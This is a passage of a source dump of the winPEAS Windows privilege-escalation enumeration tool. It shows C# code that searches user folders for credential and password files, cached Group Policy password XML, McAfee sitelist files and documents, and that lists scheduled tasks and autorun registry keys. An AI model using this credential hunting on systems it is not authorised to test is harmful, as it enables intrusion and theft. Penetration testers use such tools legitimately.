}\r\n                }\r\n            }\r\n            else\r\n            {\r\n                startDirsExcluded = startDirs.ToList();\r\n            }\r\n\r\n            Parallel.ForEach(startDirsExcluded, (d) =>\r\n            {\r\n                var foundFiles = GetFiles(d.FullName, pattern);\r\n                foreach (var f in foundFiles)\r\n                {\r\n                    if (f != null && !StaticExtensions.Contains(f.Extension.ToLower()))\r\n                    {\r\n                        CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);\r\n                        files.Add(file_info);\r\n\r\n                        CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, \"\", f.Directory.FullName, 0, true);\r\n                        if (known_dirs.TryAdd(file_dir.FullPath, 0))\r\n                        {\r\n                            files.Add(file_dir);\r\n                        }\r\n                    }\r\n                }\r\n            });\r\n\r\n            return files.ToList();\r\n        }\r\n\r\n\r\n        private static List<FileInfo> GetFiles(string folder, string pattern = \"*\")\r\n        {\r\n            DirectoryInfo dirInfo;\r\n            DirectoryInfo[] directories;\r\n            try\r\n            {\r\n                dirInfo = new DirectoryInfo(folder);\r\n                directories = dirInfo.GetDirectories();\r\n\r\n                if (directories.Length == 0)\r\n                {\r\n                    return new List<FileInfo>(dirInfo.GetFiles(pattern));\r\n                }\r\n            }\r\n            catch (UnauthorizedAccessException)\r\n            {\r\n                return new List<FileInfo>();\r\n            }\r\n            catch (PathTooLongException)\r\n            {\r\n                return new List<FileInfo>();\r\n            }\r\n            catch (DirectoryNotFoundException)\r\n            {\r\n                return new List<FileInfo>();\r\n            }\r\n            catch (Exception)\r\n            {\r\n                return new List<FileInfo>();\r\n            }\r\n\r\n            ConcurrentBag<FileInfo> result = new ConcurrentBag<FileInfo>();\r\n\r\n            Parallel.ForEach(directories, (d) =>\r\n            {\r\n                foreach (var file in GetFiles(d.FullName, pattern))\r\n                {\r\n                    result.Add(file);\r\n                }\r\n            });\r\n\r\n            try\r\n            {\r\n                foreach (var file in dirInfo.GetFiles(pattern))\r\n                {\r\n                    result.Add(file);\r\n                }\r\n            }\r\n            catch (UnauthorizedAccessException)\r\n            {\r\n            }\r\n            catch (PathTooLongException)\r\n            {\r\n            }\r\n            catch (DirectoryNotFoundException)\r\n            {\r\n            }\r\n            catch (Exception)\r\n            {\r\n            }\r\n\r\n            return result.ToList();\r\n        }\r\n\r\n        private static IEnumerable<DirectoryInfo> GetStartDirectories(string folder, ConcurrentBag<CustomFileInfo> files, string pattern, bool isFoldersIncluded = false)\r\n        {\r\n            while (true)\r\n            {\r\n                DirectoryInfo[] directories = null;\r\n                try\r\n                {\r\n                    var dirInfo = new DirectoryInfo(folder);\r\n                    directories = dirInfo.GetDirectories();\r\n\r\n                    if (isFoldersIncluded)\r\n                    {\r\n                        foreach (var directory in directories)\r\n                        {\r\n                            if (Checks.Checks.IsLongPath || directory.FullName.Length <= 260)\r\n                                files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true));\r\n\r\n                            else if (directory.FullName.Length > 260)\r\n                                Beaprint.LongPathWarning(directory.FullName);\r\n                        }\r\n                    }\r\n\r\n                    foreach (var f in dirInfo.GetFiles(pattern))\r\n                    {\r\n                        if (!StaticExtensions.Contains(f.Extension.ToLower()))\r\n                        {\r\n                            if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)\r\n                                files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false));\r\n\r\n                            else if (f.FullName.Length > 260)\r\n                                Beaprint.LongPathWarning(f.FullName);\r\n                        }\r\n                    }\r\n\r\n                    if (directories.Length > 1) return new List<DirectoryInfo>(directories);\r\n\r\n                    if (directories.Length == 0) return new List<DirectoryInfo>();\r\n                }\r\n                catch (UnauthorizedAccessException)\r\n                {\r\n                    return new List<DirectoryInfo>();\r\n                }\r\n                catch (PathTooLongException)\r\n                {\r\n                    return new List<DirectoryInfo>();\r\n                }\r\n                catch (DirectoryNotFoundException)\r\n                {\r\n                    return new List<DirectoryInfo>();\r\n                }\r\n                catch (Exception)\r\n                {\r\n                    return new List<DirectoryInfo>();\r\n                }\r\n\r\n                folder = directories[0].FullName;\r\n                isFoldersIncluded = false;\r\n            }\r\n        }\r\n\r\n        internal static void CreateSearchDirectoriesList()\r\n        {\r\n            // c:\\users\r\n            string rootUsersSearchPath = $\"{SystemDrive}\\\\Users\\\\\";\r\n            RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);\r\n\r\n            // c:\\users\\current_user\r\n            string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable(\"USERPROFILE\");\r\n            RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);\r\n\r\n            // c:\\Program Files\\\r\n            string rootProgramFiles = $\"{SystemDrive}\\\\Program Files\\\\\";\r\n            ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);\r\n\r\n            // c:\\Program Files (x86)\\\r\n            string rootProgramFilesX86 = $\"{SystemDrive}\\\\Program Files (x86)\\\\\";\r\n            ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);\r\n\r\n            // c:\\Documents and Settings\\\r\n            string documentsAndSettings = $\"{SystemDrive}\\\\Documents and Settings\\\\\";\r\n            DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);\r\n\r\n            // c:\\ProgramData\\Microsoft\\Group Policy\\History\r\n            string groupPolicyHistory = $\"{SystemDrive}\\\\ProgramData\\\\Microsoft\\\\Group Policy\\\\History\";\r\n            GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);\r\n\r\n            // c:\\Documents and Settings\\All Users\\Application Data\\\\Microsoft\\\\Group Policy\\\\History\r\n            string groupPolicyHistoryLegacy = $\"{documentsAndSettings}\\\\All Users\\\\Application Data\\\\Microsoft\\\\Group Policy\\\\History\";\r\n            //SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);\r\n            var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);\r\n            GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);\r\n        }\r\n\r\n        internal static void CleanLists()\r\n        {\r\n            RootDirUsers = null;\r\n            RootDirCurrentUser = null;\r\n            ProgramFiles = null;\r\n            ProgramFilesX86 = null;\r\n            DocumentsAndSettings = null;\r\n            GroupPolicyHistory = null;\r\n\r\n            GC.Collect();\r\n        }\r\n\r\n        internal static IEnumerable<CustomFileInfo> SearchUserCredsFiles()\r\n        {\r\n            var patterns = new List<string>\r\n            {\r\n                \".*credential.*\",\r\n                \".*password.*\"\r\n            };\r\n\r\n            foreach (var file in RootDirUsers)\r\n            {\r\n                //string extLower = file.Extension.ToLower();\r\n\r\n                if (!file.IsDirectory)\r\n                {\r\n                    string nameLower = file.Filename.ToLower();\r\n                    //  string nameExtLower = nameLower + \".\" + extLower;\r\n\r\n                    foreach (var pattern in patterns)\r\n                    {\r\n                        if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase))\r\n                        {\r\n                            yield return file;\r\n\r\n                            break;\r\n                        }\r\n                    }\r\n\r\n                }\r\n            }\r\n        }\r\n\r\n        internal static List<string> SearchUsersInterestingFiles()\r\n        {\r\n            var result = new List<string>();\r\n\r\n            foreach (var file in RootDirCurrentUser)\r\n            {\r\n                if (!file.IsDirectory)\r\n                {\r\n                    string extLower = file.Extension.ToLower();\r\n                    string nameLower = file.Filename.ToLower();\r\n\r\n                    if (Patterns.WhitelistExtensions.Contains(extLower) ||\r\n                        Patterns.WhiteListExactfilenamesWithExtensions.Contains(nameLower))\r\n                    {\r\n                        result.Add(file.FullPath);\r\n                    }\r\n                    else\r\n                    {\r\n                        foreach (var pattern in Patterns.WhiteListRegexp)\r\n                        {\r\n                            if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase))\r\n                            {\r\n                                result.Add(file.FullPath);\r\n\r\n                                break;\r\n                            }\r\n                        }\r\n                    }\r\n\r\n                }\r\n            }\r\n\r\n            return result;\r\n        }\r\n\r\n        internal static List<string> FindCachedGPPPassword()\r\n        {\r\n            var result = new List<string>();\r\n\r\n            var allowedExtensions = new HashSet<string>\r\n            {\r\n                \".xml\"\r\n            };\r\n\r\n            foreach (var file in GroupPolicyHistory)\r\n            {\r\n                if (!file.IsDirectory)\r\n                {\r\n                    string extLower = file.Extension.ToLower();\r\n\r\n                    if (allowedExtensions.Contains(extLower))\r\n                    {\r\n                        result.Add(file.FullPath);\r\n                    }\r\n                }\r\n            }\r\n\r\n            return result;\r\n        }\r\n\r\n        internal static IEnumerable<string> SearchMcAfeeSitelistFiles()\r\n        {\r\n            var allowedFilenames = new HashSet<string>\r\n            {\r\n                \"sitelist.xml\"\r\n            };\r\n\r\n            string programDataPath = $\"{SystemDrive}\\\\ProgramData\\\\\";\r\n            var programData = GetFilesFast(programDataPath, GlobalPattern);\r\n\r\n            var searchFiles = new List<CustomFileInfo>();\r\n            searchFiles.AddRange(ProgramFiles);\r\n            searchFiles.AddRange(ProgramFilesX86);\r\n            searchFiles.AddRange(programData);\r\n            searchFiles.AddRange(DocumentsAndSettings);\r\n            searchFiles.AddRange(RootDirUsers);\r\n\r\n            foreach (var file in searchFiles)\r\n            {\r\n                if (!file.IsDirectory)\r\n                {\r\n                    string filenameToLower = file.Filename.ToLower();\r\n\r\n                    if (allowedFilenames.Contains(filenameToLower))\r\n                    {\r\n                        yield return file.FullPath;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        internal static List<string> SearchCurrentUserDocs()\r\n        {\r\n            var result = new List<string>();\r\n\r\n            var allowedRegexp = new List<string>\r\n            {\r\n                \".*diagram.*\",\r\n            };\r\n\r\n            var allowedExtensions = new HashSet<string>()\r\n            {\r\n                \".doc\",\r\n                \".docx\",\r\n                \".vsd\",\r\n                \".xls\",\r\n                \".xlsx\",\r\n                \".pdf\",\r\n            };\r\n\r\n            foreach (var file in RootDirCurrentUser)\r\n            {\r\n                if (!file.IsDirectory)\r\n                {\r\n                    string extLower = file.Extension.ToLower();\r\n                    string nameLower = file.Filename.ToLower();\r\n\r\n                    if (allowedExtensions.Contains(extLower))\r\n                    {\r\n                        result.Add(file.FullPath);\r\n                    }\r\n                    else\r\n                    {\r\n                        foreach (var pattern in allowedRegexp)\r\n                        {\r\n                            if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase))\r\n                            {\r\n                                result.Add(file.FullPath);\r\n\r\n                                break;\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n            return result;\r\n        }\r\n\r\n        internal static List<string> SearchUsersDocs()\r\n        {\r\n            var result = new List<string>();\r\n\r\n            var allowedRegexp = new List<string>\r\n            {\r\n                \".*diagram.*\",\r\n            };\r\n\r\n            var allowedExtensions = new HashSet<string>()\r\n            {\r\n                \".doc\",\r\n                \".docx\",\r\n                \".vsd\",\r\n                \".xls\",\r\n                \".xlsx\",\r\n                \".pdf\",\r\n            };\r\n\r\n            foreach (var file in RootDirUsers)\r\n            {\r\n                if (!file.IsDirectory)\r\n                {\r\n                    string extLower = file.Extension.ToLower();\r\n                    string nameLower = file.Filename.ToLower();\r\n\r\n                    if (allowedExtensions.Contains(extLower))\r\n                    {\r\n                        result.Add(file.FullPath);\r\n                    }\r\n                    else\r\n                    {\r\n                        foreach (var pattern in allowedRegexp)\r\n                        {\r\n                            if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase))\r\n                            {\r\n                                result.Add(file.FullPath);\r\n\r\n                                break;\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n            return result;\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/YamlConfig/YamlConfig.cs",
    "content": "﻿using static winPEAS.Helpers.YamlConfig.YamlConfig.SearchParameters;\n\nnamespace winPEAS.Helpers.YamlConfig\n{\n    public class YamlRegexConfig\n    {\n        public class RegularExpressions\n        {\n            public string name { get; set; }\n            public RegularExpression[] regexes { get; set; }\n            public class RegularExpression\n            {\n                public string name { get; set; }\n                public string regex { get; set; }\n\n                public bool caseinsensitive { get; set; }\n\n                public string disable { get; set; }\n            }\n        }\n\n        public RegularExpressions[] regular_expresions { get; set; }\n    }\n    public class YamlConfig\n    {\n\n        public class FileParam\n        {\n            public string name { get; set; }\n            public FileSettings value { get; set; }\n        }\n\n        public class SearchParameters\n        {\n            public class FileSettings\n            {\n                public string bad_regex { get; set; }\n                // public string check_extra_path { get; set;  }    // not used in Winpeas\n                public string good_regex { get; set; }\n                public bool? just_list_file { get; set; }\n                public string line_grep { get; set; }\n                public bool? only_bad_lines { get; set; }\n                public bool? remove_empty_lines { get; set; }\n                // public string remove_path { get; set;  }     // not used in Winpeas\n                public string remove_regex { get; set; }\n                public string remove_path { get; set; }\n                // public string[] search_in { get; set;  }   // not used in Winpeas\n                public string type { get; set; }\n                public FileParam[] files { get; set; }\n            }\n\n            public class FileParameters\n            {\n                public string file { get; set; }\n                public FileSettings options { get; set; }\n            }\n\n            public class Config\n            {\n                public bool auto_check { get; set; }\n            }\n\n            public Config config { get; set; }\n            public string[] disable { get; set; }       // disabled scripts - linpeas/winpeas\n            public FileParam[] files { get; set; }\n        }\n\n        public class SearchParams\n        {\n            public string name { get; set; }\n            public SearchParameters value { get; set; }\n        }\n\n        public class Defaults\n        {\n            public bool auto_check { get; set; }\n            public string bad_regex { get; set; }\n            //public string check_extra_path { get; set;  }  not used in winpeas\n            public string good_regex { get; set; }\n            public bool just_list_file { get; set; }\n            public string line_grep { get; set; }\n            public bool only_bad_lines { get; set; }\n            public bool remove_empty_lines { get; set; }\n            public string remove_path { get; set; }\n            public string remove_regex { get; set; }\n            public string[] search_in { get; set; }\n            public string type { get; set; }\n        }\n\n        public class Variable\n        {\n            public string name { get; set; }\n            public string value { get; set; }\n        }\n\n        public SearchParams[] search { get; set; }\n\n        public Defaults defaults { get; set; }\n\n        public Variable[] variables { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/YamlConfig/YamlConfigHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Reflection;\nusing System.Yaml.Serialization;\nusing static winPEAS.Helpers.YamlConfig.YamlConfig;\n\n\nnamespace winPEAS.Helpers.YamlConfig\n{\n    internal class YamlConfigHelper\n    {\n        const string REGEXES_FILES = \"regexes.yaml\";\n        const string SENSITIVE_FILES = \"sensitive_files.yaml\";\n\n        public static YamlRegexConfig GetRegexesSearchConfig()\n        {\n            var assembly = Assembly.GetExecutingAssembly();\n            var resourceName = assembly.GetManifestResourceNames().Where(i => i.EndsWith(REGEXES_FILES)).FirstOrDefault();\n\n            try\n            {\n                using (Stream stream = assembly.GetManifestResourceStream(resourceName))\n                using (StreamReader reader = new StreamReader(stream))\n                {\n                    string configFileContent = reader.ReadToEnd();\n\n                    YamlSerializer yamlSerializer = new YamlSerializer();\n                    var yamlConfigObject = yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig));\n\n                    if (yamlConfigObject == null || yamlConfigObject.Length == 0)\n                    {\n                        throw new Exception($\"Config '{resourceName}' is empty, check the config for more information\");\n                    }\n\n                    YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlConfigObject[0];\n                    // check\n                    if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)\n                    {\n                        throw new System.Exception(\"No configuration was read\");\n                    }\n\n                    return yamlConfig;\n\n                }\n            }\n            catch (System.Exception e)\n            {\n                Beaprint.PrintException($\"An exception occurred while parsing regexes.yaml configuration file: {e.Message}\");\n\n                throw;\n            }\n        }\n\n        public static YamlConfig GetWindowsSearchConfig()\n        {\n            var assembly = Assembly.GetExecutingAssembly();\n            var resourceName = assembly.GetManifestResourceNames().Where(i => i.EndsWith(SENSITIVE_FILES)).FirstOrDefault();\n\n            try\n            {\n                using (Stream stream = assembly.GetManifestResourceStream(resourceName))\n                using (StreamReader reader = new StreamReader(stream))\n                {\n                    string configFileContent = reader.ReadToEnd();\n\n                    YamlSerializer yamlSerializer = new YamlSerializer();\n                    YamlConfig yamlConfig = (YamlConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlConfig))[0];\n\n                    // update variables\n                    foreach (var variable in yamlConfig.variables)\n                    {\n                        configFileContent = configFileContent.Replace($\"${variable.name}\", variable.value);\n                    }\n\n                    // deserialize again\n                    yamlConfig = (YamlConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlConfig))[0];\n\n                    // check\n                    if (yamlConfig.defaults == null || yamlConfig.search == null || yamlConfig.search.Length == 0)\n                    {\n                        throw new System.Exception(\"No configuration was read\");\n                    }\n\n                    // apply the defaults e.g. for filesearch\n                    foreach (var searchItem in yamlConfig.search)\n                    {\n                        SetDefaultOptions(searchItem, yamlConfig.defaults);\n                    }\n\n                    return yamlConfig;\n                }\n            }\n            catch (System.Exception e)\n            {\n                Beaprint.PrintException($\"An exception occured while parsing sensitive_files.yaml configuration file: {e.Message}\");\n\n                throw;\n            }\n        }\n\n        private static void SetDefaultOptions(SearchParams searchItem, Defaults defaults)\n        {\n            searchItem.value.config.auto_check = GetValueOrDefault(searchItem.value.config.auto_check, defaults.auto_check);\n\n            SetFileOptions(searchItem.value.files, defaults);\n        }\n\n        private static void SetFileOptions(FileParam[] fileParams, Defaults defaults)\n        {\n            foreach (var fileParam in fileParams)\n            {\n                var value = fileParam.value;\n\n                value.bad_regex = GetValueOrDefault(value.bad_regex, defaults.bad_regex);\n                value.good_regex = GetValueOrDefault(value.good_regex, defaults.good_regex);\n                value.just_list_file = GetValueOrDefault(value.just_list_file, defaults.just_list_file);\n                value.line_grep = GetValueOrDefault(value.line_grep, defaults.line_grep);\n                value.only_bad_lines = GetValueOrDefault(value.only_bad_lines, defaults.only_bad_lines);\n                value.remove_empty_lines = GetValueOrDefault(value.remove_empty_lines, defaults.remove_empty_lines);\n                value.remove_regex = GetValueOrDefault(value.remove_regex, defaults.remove_regex);\n                value.remove_path = GetValueOrDefault(value.remove_path, defaults.remove_path);\n                value.type = GetValueOrDefault(value.type, defaults.type).ToLower();\n\n                if (value.files != null)\n                {\n                    SetFileOptions(value.files, defaults);\n                }\n            }\n        }\n\n        //private static WildcardOptions GetWildCardOptions(string str)\n        //{\n        //    if (!str.Contains(\"*\")) return WildcardOptions.None;\n        //    if (str.StartsWith(\"*\")) return WildcardOptions.StartsWith;\n        //    if (str.EndsWith(\"*\")) return WildcardOptions.EndsWith;\n\n        //    return WildcardOptions.Middle;\n        //}\n\n        private static T GetValueOrDefault<T>(T val, T defaultValue)\n        {\n            return val == null ? defaultValue : val;\n        }\n\n        private static T GetValueOrDefault<T>(Dictionary<object, object> dict, string key, T defaultValue)\n        {\n            return dict.ContainsKey(key) ? (T)dict[key] : defaultValue;\n        }\n    }\n}\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/ApplicationInfoHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Text;\nusing winPEAS.Helpers;\nusing winPEAS.Native;\nusing winPEAS.TaskScheduler;\n\nnamespace winPEAS.Info.ApplicationInfo\n{\n    internal class ApplicationInfoHelper\n    {\n\n        public static string GetActiveWindowTitle()\n        {\n            const int nChars = 256;\n            StringBuilder buff = new StringBuilder(nChars);\n            IntPtr handle = User32.GetForegroundWindow();\n\n            if (User32.GetWindowText(handle, buff, nChars) > 0)\n            {\n                return buff.ToString();\n            }\n\n            return null;\n        }\n\n        public static List<Dictionary<string, string>> GetScheduledAppsNoMicrosoft()\n        {\n            var results = new List<Dictionary<string, string>>();\n\n            void ProcessTaskFolder(TaskFolder taskFolder)\n            {\n                foreach (var runTask in taskFolder.GetTasks()) // browse all tasks in folder\n                {\n                    ActOnTask(runTask);\n                }\n\n                foreach (var taskFolderSub in taskFolder.SubFolders) // recursively browse subfolders\n                {\n                    ProcessTaskFolder(taskFolderSub);\n                }\n            }\n\n            void ActOnTask(Task t)\n            {\n                try\n                {\n                    if (t.Enabled &&\n                        !string.IsNullOrEmpty(t.Path) && !t.Path.Contains(\"Microsoft\") &&\n                        !string.IsNullOrEmpty(t.Definition.RegistrationInfo.Author) &&\n                        !t.Definition.RegistrationInfo.Author.Contains(\"Microsoft\"))\n                    {\n                        List<string> f_trigger = new List<string>();\n                        foreach (Trigger trigger in t.Definition.Triggers)\n                        {\n                            f_trigger.Add($\"{trigger}\");\n                        }\n\n                        results.Add(new Dictionary<string, string>\n                        {\n                            { \"Name\", t.Name },\n                            { \"Action\", Environment.ExpandEnvironmentVariables($\"{t.Definition.Actions}\") },\n                            { \"Trigger\", string.Join(\"\\n             \", f_trigger) },\n                            { \"Author\", string.Join(\", \", t.Definition.RegistrationInfo.Author) },\n                            { \"Description\", string.Join(\", \", t.Definition.RegistrationInfo.Description) },\n                        });\n                    }\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException($\"failed to process scheduled task: '{t.Name}': {ex.Message}\");\n                }\n            }\n\n            TaskFolder folder = TaskService.Instance.GetFolder(\"\\\\\");\n\n            ProcessTaskFolder(folder);\n\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ApplicationInfo/AutoRuns.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Management;\nusing System.Text.RegularExpressions;\nusing winPEAS.Checks;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Helpers.YamlConfig;\n\nnamespace winPEAS.Info.ApplicationInfo\n{\n    // https://www.ghacks.net/2016/06/04/windows-automatic-startup-locations/\n\n    internal static class AutoRuns\n    {\n        public static List<Dictionary<string, string>> GetAutoRuns(Dictionary<string, string> NtAccountNames)\n        {\n            var result = new List<Dictionary<string, string>>();\n            var regAutoRuns = GetRegistryAutoRuns(NtAccountNames);\n            var folderAutoRuns = GetAutoRunsFolder();\n            var fileAutoRuns = GetAutoRunsFiles();\n            var wmicAutoRuns = GetAutoRunsWMIC();\n\n            result.AddRange(regAutoRuns);\n            result.AddRange(folderAutoRuns);\n            result.AddRange(fileAutoRuns);\n            result.AddRange(wmicAutoRuns);\n\n            return result;\n        }\n\n        private static List<List<string>> autorunLocations = new List<List<string>>()\n        {\n            //Common Autoruns\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"},\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"},\n            new List<string> {\"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\"},\n            new List<string> {\"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"},\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"},\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce\"},\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\Software\\Microsoft\\Windows\\CurrentVersion\\RunEx\"},\n\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"},\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run\"},\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"},\n            new List<string> {\"HKCU\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\"},\n            new List<string> {\"HKCU\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"},\n\n            //Service Autoruns\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunService\"},\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceService\"},\n            new List<string> {\"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunService\"},\n            new List<string> {\"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceService\"},\n            new List<string> {\"HKLM\", @\"System\\CurrentControlSet\\Services\"},\n\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunService\"},\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceService\"},\n            new List<string> {\"HKCU\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunService\"},\n            new List<string> {\"HKCU\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceService\"},\n            \n            //Special Autorun\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"},\n            new List<string> {\"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"},\n\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"},\n            new List<string> {\"HKCU\", @\"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"},\n\n            //RunServices\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"},\n\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"},            \n\n            //RunServicesOnce \n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"},\n\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"},            \n\n            //Startup Path\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\", \"Common Startup\"},\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\", \"Common Startup\"},\n\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\", \"Common Startup\"},\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\", \"Common Startup\"},\n            \n\n            //Winlogon\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\", \"Userinit\"},    // key = Winlogo, Value = Userinit\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\", \"Shell\"},\n\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\", \"load\"},\n\n            //Policy Settings\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\", \"Run\"}, // key = Explorer, Value = Run\n\n            new List<string> {\"HKCU\", @\"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\", \"Run\"},\n\n            //AlternateShell in SafeBoot\n            new List<string> {\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Control\\SafeBoot\", \"AlternateShell\"},\n\n            //Font Drivers\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Font Drivers\"},\n            new List<string> {\"HKLM\", @\"Software\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Font Drivers\"},\n            new List<string> {\"HKLM\", @\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\"},\n            new List<string> {\"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\"},\n\n            //Open Command\n            new List<string> {\"HKLM\", @\"Software\\Classes\\htmlfile\\shell\\open\\command\", \"\"}, //Get (Default) value with empty string\n            new List<string> {\"HKLM\", @\"Software\\Wow6432Node\\Classes\\htmlfile\\shell\\open\\command\", \"\"}, //Get (Default) value with empty string\n\n            // undocumented\n            new List<string> { \"HKLM\", @\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SharedTaskScheduler\"},\n            new List<string> { \"HKLM\", @\"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SharedTaskScheduler\"},\n\n            // Misc Startup keys\n            new List<string> { \"HKLM\", @\"System\\CurrentControlSet\\Control\\Session Manager\\KnownDlls\" },\n            //new List<string> { \"HKCU\", @\"Control Panel\\Desktop\\scrnsave.exe\" }, ???\n        };\n\n        private static List<List<string>> autorunLocationsKeys = new List<List<string>>\n        {\n            //Installed Components\n            new List<string> { \"HKLM\", @\"Software\\Microsoft\\Active Setup\\Installed Components\", \"StubPath\"},\n            new List<string> { \"HKLM\", @\"Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\", \"StubPath\"},\n\n            new List<string> { \"HKCU\", @\"Software\\Microsoft\\Active Setup\\Installed Components\", \"StubPath\"},\n            new List<string> { \"HKCU\", @\"Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\", \"StubPath\"},\n\n            // Shell related autostart entries, e.g. items displayed when you right-click on files or folders.\n            new List<string> { \"HKLM\", @\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellServiceObjects\", \"StubPath\"},\n            new List<string> { 